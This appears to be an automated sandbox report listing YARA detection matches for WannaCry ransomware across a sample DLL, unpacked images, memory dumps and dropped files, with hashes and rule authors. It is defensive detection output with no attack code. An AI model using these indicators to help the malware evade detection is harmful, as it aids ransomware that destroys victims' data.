Source: 6.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.370463078.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.368608728.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000002.375063291.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.361435294.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.359726193.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.363619382.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.358211362.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000004.00000000.363392833.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000007.00000000.366852885.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 00000006.00000000.366186624.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team

Source: 4Maoj78D1f.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: 4Maoj78D1f.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4Maoj78D1f.dll, type: SAMPLE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.5.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.7100a4.3.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
